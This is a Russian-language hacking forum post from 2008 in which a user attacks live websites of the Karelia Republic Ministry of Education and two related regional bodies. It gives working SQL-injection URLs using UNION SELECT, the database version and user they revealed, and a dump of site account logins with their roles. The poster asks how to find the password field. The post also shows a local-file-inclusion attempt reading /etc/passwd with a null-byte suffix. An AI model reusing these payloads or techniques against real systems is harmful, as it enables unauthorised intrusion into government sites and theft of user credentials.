
05.09.2008, 04:24
|
|
Участник форума
Регистрация: 12.11.2006
Сообщений: 213
С нами:
10260776
Репутация:
185
|
|
Министерство образования РК(Республика Карелия) =D
Код:
http://minedu.karelia.ru/index.php?id=999+union+select+1,2,concat_Ws(0x3a,version(),user(),database()),4,5/*
4.0.11a-gamma:kfro@localhost:minedu
нашел 2 таблицы:
- news
- users
http://minedu.karelia.ru/devel/index.php?id=999+union+select+1,2,concat_ ws(0x3a,id,login,status),4, 5+from+users/*
Код:
1:root:rt
2:julia:wk
3:dmalinov:rt
4:Marina:rt
5:lataki:wk
6:kossuk:wk
7:morozov:wk
8:natalya:wk
9:gold:wk
Не могу никак прознать как поле с паролем называется
логиниться тут: http://minedu.karelia.ru/login.php
====================================
Карельский Фонд Развития Образования:
http://kfro.karelia.ru/index.php?id=13+union+select+1, id,login+from+users/*
Таблица по строению такая же как и в министерстве. И лежит все удовольствие на одном серваке, тока в разных базах. Вопрос: Как называется поле с паролем?
====================================
КПМО в Республике Карелия:
есть возможность провести include. Тока у меня толком них не получается. Голова уже кипит...
http://kpmo.karelia.ru/file/page.php?page_id=../../../../../etc/passwd%00
Че не так то?
Это же инклудится; http://kpmo.karelia.ru/file/page.php?page_id=/home/kpmo/www/file/news_62
Последний раз редактировалось -=Static=-; 05.09.2008 в 05:12..
|
|
|